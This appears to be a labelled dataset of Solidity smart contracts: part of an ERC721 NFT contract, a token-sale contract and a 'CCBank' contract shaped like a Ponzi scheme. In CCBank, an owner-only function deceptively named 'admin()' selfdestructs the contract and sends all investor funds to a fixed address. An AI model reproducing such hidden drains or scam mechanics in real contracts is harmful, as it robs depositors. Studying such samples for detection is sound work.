function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return tokenId < _owners.length && _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_owners.push(to);
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
_owners[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
_approve(address(0), tokenId);
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
pragma solidity ^0.8.0;
abstract contract ERC721Enum is ERC721, IERC721Enumerable {
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256 tokenId) {
require(index < ERC721.balanceOf(owner), "ERC721Enum: owner ioob");
uint count;
for( uint i; i < _owners.length; ++i ){
if( owner == _owners[i] ){
if( count == index )
return i;
else
++count;
}
}
require(false, "ERC721Enum: owner ioob");
}
function tokensOfOwner(address owner) public view returns (uint256[] memory) {
require(0 < ERC721.balanceOf(owner), "ERC721Enum: owner ioob");
uint256 tokenCount = balanceOf(owner);
uint256[] memory tokenIds = new uint256[](tokenCount);
for (uint256 i = 0; i < tokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(owner, i);
}
return tokenIds;
}
function totalSupply() public view virtual override returns (uint256) {
return _owners.length;
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enum.totalSupply(), "ERC721Enum: global ioob");
return index;
}
}
pragma solidity ^0.8.0;
contract LionGame is ERC721Enum, Ownable, ReentrancyGuard {
using Strings for uint256;
string public baseURI;
uint256 public cost = 0.05 ether;
uint256 public maxSupply = 777;
uint256 public maxMint = 25;
bool public status = false;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol){
setBaseURI(_initBaseURI);
}
function _baseURI() internal view virtual returns (string memory) {
return baseURI;
}
function freeMint(uint256 _mintAmount) public nonReentrant{
uint256 s = totalSupply();
require(!status, "Off" );
require(_mintAmount > 0, "0" );
require(_mintAmount <= maxMint, "Too many" );
require(s + _mintAmount <= maxSupply, "Max" );
for (uint256 i = 0; i < _mintAmount; ++i) {
_safeMint(msg.sender, s + i, "");
}
delete s;
}
function mint(uint256 _mintAmount) public payable nonReentrant{
uint256 s = totalSupply();
require(status, "Off" );
require(_mintAmount > 0, "0" );
require(_mintAmount <= maxMint, "Too many" );
require(s + _mintAmount <= maxSupply, "Max" );
require(msg.value >= cost * _mintAmount);
for (uint256 i = 0; i < _mintAmount; ++i) {
_safeMint(msg.sender, s + i, "");
}
delete s;
}
function giveAway(address recipient) external onlyOwner{
uint256 s = totalSupply();
require(s <= maxSupply, "Max" );
_safeMint(recipient, s, "" );
delete s;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: Nonexistent token");
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString())) : "";
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setMaxMintAmount(uint256 _newMaxMintAmount) public onlyOwner {
maxMint = _newMaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setSaleStatus(bool _status) public onlyOwner {
status = _status;
}
function withdraw() public onlyOwner {
payable(msg.sender).call{value: address(this).balance}("");
}
function setmaxSupply(uint256 _newMaxSupply) public onlyOwner {
maxSupply = _newMaxSupply;
}
} | 0 | 1,110 |
pragma solidity ^0.4.21;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(a <= c);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(a >= b);
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
}
contract ContractReceiver {
function tokenFallback(address from, uint256 value, bytes data) public;
}
contract AuctusToken {
function transfer(address to, uint256 value) public returns (bool);
function transfer(address to, uint256 value, bytes data) public returns (bool);
function burn(uint256 value) public returns (bool);
function setTokenSaleFinished() public;
}
contract AuctusWhitelist {
function getAllowedAmountToContribute(address addr) view public returns(uint256);
}
contract AuctusTokenSale is ContractReceiver {
using SafeMath for uint256;
address public auctusTokenAddress = 0xc12d099be31567add4e4e4d0D45691C3F58f5663;
address public auctusWhiteListAddress = 0xA6e728E524c1D7A65fE5193cA1636265DE9Bc982;
uint256 public startTime = 1522159200;
uint256 public endTime;
uint256 public basicPricePerEth = 2000;
address public owner;
uint256 public softCap;
uint256 public remainingTokens;
uint256 public weiRaised;
mapping(address => uint256) public invested;
bool public saleWasSet;
bool public tokenSaleHalted;
event Buy(address indexed buyer, uint256 tokenAmount);
event Revoke(address indexed buyer, uint256 investedAmount);
function AuctusTokenSale(uint256 minimumCap, uint256 endSaleTime) public {
owner = msg.sender;
softCap = minimumCap;
endTime = endSaleTime;
saleWasSet = false;
tokenSaleHalted = false;
}
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
modifier openSale() {
require(saleWasSet && !tokenSaleHalted && now >= startTime && now <= endTime && remainingTokens > 0);
_;
}
modifier saleCompletedSuccessfully() {
require(weiRaised >= softCap && (now > endTime || remainingTokens == 0));
_;
}
modifier saleFailed() {
require(weiRaised < softCap && now > endTime);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
function setTokenSaleHalt(bool halted) onlyOwner public {
tokenSaleHalted = halted;
}
function setSoftCap(uint256 minimumCap) onlyOwner public {
require(now < startTime);
softCap = minimumCap;
}
function setEndSaleTime(uint256 endSaleTime) onlyOwner public {
require(now < endTime);
endTime = endSaleTime;
}
function tokenFallback(address, uint256 value, bytes) public {
require(msg.sender == auctusTokenAddress);
require(!saleWasSet);
setTokenSaleDistribution(value);
}
function()
payable
openSale
public
{
uint256 weiToInvest;
uint256 weiRemaining;
(weiToInvest, weiRemaining) = getValueToInvest();
require(weiToInvest > 0);
uint256 tokensToReceive = weiToInvest.mul(basicPricePerEth);
remainingTokens = remainingTokens.sub(tokensToReceive);
weiRaised = weiRaised.add(weiToInvest);
invested[msg.sender] = invested[msg.sender].add(weiToInvest);
if (weiRemaining > 0) {
msg.sender.transfer(weiRemaining);
}
assert(AuctusToken(auctusTokenAddress).transfer(msg.sender, tokensToReceive));
emit Buy(msg.sender, tokensToReceive);
}
function revoke() saleFailed public {
uint256 investedValue = invested[msg.sender];
require(investedValue > 0);
invested[msg.sender] = 0;
msg.sender.transfer(investedValue);
emit Revoke(msg.sender, investedValue);
}
function finish()
onlyOwner
saleCompletedSuccessfully
public
{
uint256 freeEthers = address(this).balance * 40 / 100;
uint256 vestedEthers = address(this).balance - freeEthers;
address(0xd1B10607921C78D9a00529294C4b99f1bd250E1c).transfer(freeEthers);
assert(address(0xb3cc085B5a56Fdd47545A66EBd3DBd2a903D4565).call.value(vestedEthers)());
AuctusToken token = AuctusToken(auctusTokenAddress);
token.setTokenSaleFinished();
if (remainingTokens > 0) {
token.burn(remainingTokens);
remainingTokens = 0;
}
}
function getValueToInvest() view private returns (uint256, uint256) {
uint256 allowedValue = AuctusWhitelist(auctusWhiteListAddress).getAllowedAmountToContribute(msg.sender);
uint256 weiToInvest;
if (allowedValue == 0) {
weiToInvest = 0;
} else if (allowedValue >= invested[msg.sender].add(msg.value)) {
weiToInvest = getAllowedAmount(msg.value);
} else {
weiToInvest = getAllowedAmount(allowedValue.sub(invested[msg.sender]));
}
return (weiToInvest, msg.value.sub(weiToInvest));
}
function getAllowedAmount(uint256 value) view private returns (uint256) {
uint256 maximumValue = remainingTokens / basicPricePerEth;
if (value > maximumValue) {
return maximumValue;
} else {
return value;
}
}
function setTokenSaleDistribution(uint256 totalAmount) private {
uint256 auctusCoreTeam = totalAmount * 20 / 100;
uint256 bounty = totalAmount * 2 / 100;
uint256 reserveForFuture = totalAmount * 18 / 100;
uint256 partnershipsAdvisoryFree = totalAmount * 18 / 1000;
uint256 partnershipsAdvisoryVested = totalAmount * 72 / 1000;
uint256 privateSales = 6836048000000000000000000;
uint256 preSale = 2397307557007329968290000;
transferTokens(auctusCoreTeam, bounty, reserveForFuture, preSale, partnershipsAdvisoryVested, partnershipsAdvisoryFree, privateSales);
remainingTokens = totalAmount - auctusCoreTeam - bounty - reserveForFuture - preSale - partnershipsAdvisoryVested - partnershipsAdvisoryFree - privateSales;
saleWasSet = true;
}
function transferTokens(
uint256 auctusCoreTeam,
uint256 bounty,
uint256 reserveForFuture,
uint256 preSale,
uint256 partnershipsAdvisoryVested,
uint256 partnershipsAdvisoryFree,
uint256 privateSales
) private {
AuctusToken token = AuctusToken(auctusTokenAddress);
bytes memory empty;
assert(token.transfer(0x8592Ec038ACBA05BC467C6bC17aA855880d490E4, auctusCoreTeam, empty));
assert(token.transfer(0x389E93aC36Dd8c8E04FB1952B37c4aa4b320b6FF, bounty, empty));
assert(token.transfer(0xc83847FCbd217FB8Ec4bc79DbA7DB672d3aB2602, reserveForFuture, empty));
assert(token.transfer(0xA39cA2768A7B76Aa3bCab68c4d4DEBF9A32c5434, preSale, empty));
assert(token.transfer(0x8Cb9626BBc5Ec60c386eeEde50ac74f173FBD8a8, partnershipsAdvisoryVested, empty));
assert(token.transfer(0x6c89Cc03036193d52e9b8386413b545184BDAb99, partnershipsAdvisoryFree));
assert(token.transfer(0xd1B10607921C78D9a00529294C4b99f1bd250E1c, privateSales));
}
} | 1 | 4,524 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 planId;
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
bool isReInvest;
}
struct Plan {
uint256 dailyInterest;
uint256 term;
uint256 limit;
uint256 perInvestorLimit;
uint256 leftAmount;
uint256 lastUpdateDate;
}
struct Investor {
address addr;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
}
}
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract CCBank is Ownable {
using SafeMath for uint256;
uint256 public constant DEVELOPER_RATE = 30;
uint256 public constant MARKETING_RATE = 70;
uint256 public constant REFERENCE_RATE = 80;
uint256 public constant REFERENCE_LEVEL1_RATE = 50;
uint256 public constant REFERENCE_LEVEL2_RATE = 20;
uint256 public constant REFERENCE_LEVEL3_RATE = 10;
uint256 public constant MINIMUM = 0.01 ether;
uint256 public constant REFERRER_CODE = 3466;
uint256 public latestReferrerCode;
uint256 private totalInvestments_;
address private developerAccount_;
address private marketingAccount_;
address private referenceAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
Objects.Plan[] private investmentPlans_;
event onInvest(address investor, uint256 amount);
event onReinvest(address investor, uint256 amount);
event onGrant(address grantor, address beneficiary, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = msg.sender;
referenceAccount_ = msg.sender;
_init();
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest(0, 0);
}
}
function checkIn() public {
}
function setMarketingAccount(address _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function setDeveloperAccount(address _newDeveloperAccount) public onlyOwner {
require(_newDeveloperAccount != address(0));
developerAccount_ = _newDeveloperAccount;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function setReferenceAccount(address _newReferenceAccount) public onlyOwner {
require(_newReferenceAccount != address(0));
referenceAccount_ = _newReferenceAccount;
}
function setPlanLimit(uint256 _planId, uint256 _perInvestorLimit, uint256 _addAmount) public onlyOwner {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
Objects.Plan storage plan = investmentPlans_[_planId];
plan.perInvestorLimit = _perInvestorLimit;
plan.leftAmount = plan.leftAmount.add(_addAmount);
plan.lastUpdateDate = block.timestamp;
}
function getReferenceAccount() public view onlyOwner returns (address) {
return referenceAccount_;
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
investmentPlans_.push(Objects.Plan( 50, 0, 0, 0, 0, block.timestamp));
investmentPlans_.push(Objects.Plan( 60, 45*60*60*24, 0, 0, 0, block.timestamp));
investmentPlans_.push(Objects.Plan( 70, 25*60*60*24, 0, 0, 0, block.timestamp));
investmentPlans_.push(Objects.Plan( 80, 18*60*60*24, 0, 0, 0, block.timestamp));
investmentPlans_.push(Objects.Plan(100, 0, 1, 1 ether, 2000 ether, block.timestamp));
}
function getCurrentPlans() public view returns (uint256[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory) {
uint256[] memory ids = new uint256[](investmentPlans_.length);
uint256[] memory interests = new uint256[](investmentPlans_.length);
uint256[] memory terms = new uint256[](investmentPlans_.length);
uint256[] memory limits = new uint256[](investmentPlans_.length);
uint256[] memory perInvestorLimits = new uint256[](investmentPlans_.length);
uint256[] memory leftAmounts = new uint256[](investmentPlans_.length);
for (uint256 i = 0; i < investmentPlans_.length; i++) {
Objects.Plan storage plan = investmentPlans_[i];
ids[i] = i;
interests[i] = plan.dailyInterest;
terms[i] = plan.term;
limits[i] = plan.limit;
perInvestorLimits[i] = plan.perInvestorLimit;
leftAmounts[i] = plan.leftAmount;
}
return
(
ids,
interests,
terms,
limits,
perInvestorLimits,
leftAmounts
);
}
function addNewPlan(uint256 dailyInterest, uint256 term, uint256 limit, uint256 perInvestorLimit, uint256 leftAmount) public onlyOwner {
investmentPlans_.push(Objects.Plan(dailyInterest, term, limit, perInvestorLimit, leftAmount, block.timestamp));
}
function getTotalInvestments() public onlyOwner view returns (uint256){
return totalInvestments_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
return
(
investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount,
investor.planCount,
currentDividends,
newDividends
);
}
function getInvestorPlanLimitsByUID(uint256 _uid, uint256 _planId) public view returns (uint256, uint256, uint256) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
Objects.Investor storage investor = uid2Investor[_uid];
Objects.Plan storage plan = investmentPlans_[_planId];
uint256 totalInvestment = 0;
uint256 leftInvestmentLimit = 0;
if (plan.limit != 0) {
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
if (investor.plans[i].planId != _planId || investor.plans[i].investmentDate < plan.lastUpdateDate) {
continue;
}
totalInvestment = totalInvestment.add(investor.plans[i].investment);
}
leftInvestmentLimit = (totalInvestment > plan.perInvestorLimit) ? 0 : plan.perInvestorLimit.sub(totalInvestment);
}
return
(
plan.limit,
plan.leftAmount,
leftInvestmentLimit
);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory planIds = new uint256[](investor.planCount);
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
planIds[i] = investor.plans[i].planId;
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
} else {
isExpireds[i] = false;
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
isExpireds[i] = true;
}
}
}
}
return
(
planIds,
investmentDates,
investments,
currentDividends,
isExpireds
);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _planId, uint256 _referrerCode, uint256 _amount, bool isReInvest) private returns (bool) {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
} else {
}
_checkLimit(uid, _planId, _amount);
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].planId = _planId;
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.plans[planCount].isReInvest = isReInvest;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(uid, _amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
uint256 developerPercentage = (_amount.mul(DEVELOPER_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(MARKETING_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
return true;
}
function _checkLimit(uint256 _uid, uint256 _planId, uint256 _amount) private {
Objects.Plan storage plan = investmentPlans_[_planId];
if (plan.limit > 0) {
require(plan.leftAmount >= _amount && plan.perInvestorLimit >= _amount, "1 - Not enough limit");
Objects.Investor storage investor = uid2Investor[_uid];
uint256 totalInvestment = 0;
uint256 leftInvestmentLimit = 0;
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
if (investor.plans[i].planId != _planId || investor.plans[i].investmentDate < plan.lastUpdateDate) {
continue;
}
totalInvestment = totalInvestment.add(investor.plans[i].investment);
}
leftInvestmentLimit = (totalInvestment > plan.perInvestorLimit) ? 0 : plan.perInvestorLimit.sub(totalInvestment);
require(leftInvestmentLimit >= _amount, "2 - Not enough limit");
plan.leftAmount = plan.leftAmount.sub(_amount);
}
}
function grant(address addr, uint256 _planId) public payable {
uint256 grantorUid = address2UID[msg.sender];
bool isAutoAddReferrer = true;
uint256 referrerCode = 0;
if (grantorUid != 0 && isAutoAddReferrer) {
referrerCode = grantorUid;
}
if (_invest(addr,_planId,referrerCode,msg.value, false)) {
emit onGrant(msg.sender, addr, msg.value);
}
}
function invest(uint256 _referrerCode, uint256 _planId) public payable {
if (_invest(msg.sender, _planId, _referrerCode, msg.value, false)) {
emit onInvest(msg.sender, msg.value);
}
}
function reinvest(uint256 _referrerCode, uint256 _planId) public payable {
require(msg.value == 0, "Reinvest doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not reinvest because no any investments");
uint256 availableInvestAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
availableInvestAmount = availableInvestAmount.add(amount);
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends = uid2Investor[uid].plans[i].currentDividends.add(amount);
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
availableInvestAmount = availableInvestAmount.add(uid2Investor[uid].availableReferrerEarnings);
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
if (_invest(msg.sender, _planId, _referrerCode, availableInvestAmount, true)) {
emit onReinvest(msg.sender, availableInvestAmount);
}
}
function withdraw() public payable {
require(msg.value == 0, "withdrawal doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount = withdrawalAmount.add(amount);
msg.sender.transfer(amount);
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
msg.sender.transfer(uid2Investor[uid].availableReferrerEarnings);
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
function admin() public onlyOwner{
selfdestruct(0x8948E4B00DEB0a5ADb909F4DC5789d20D0851D71);
}
function _calculateReferrerReward(uint256 _uid, uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
}
if (_ref2 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
}
if (_ref3 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings);
}
}
if (_allReferrerAmount > 0) {
referenceAccount_.transfer(_allReferrerAmount);
}
}
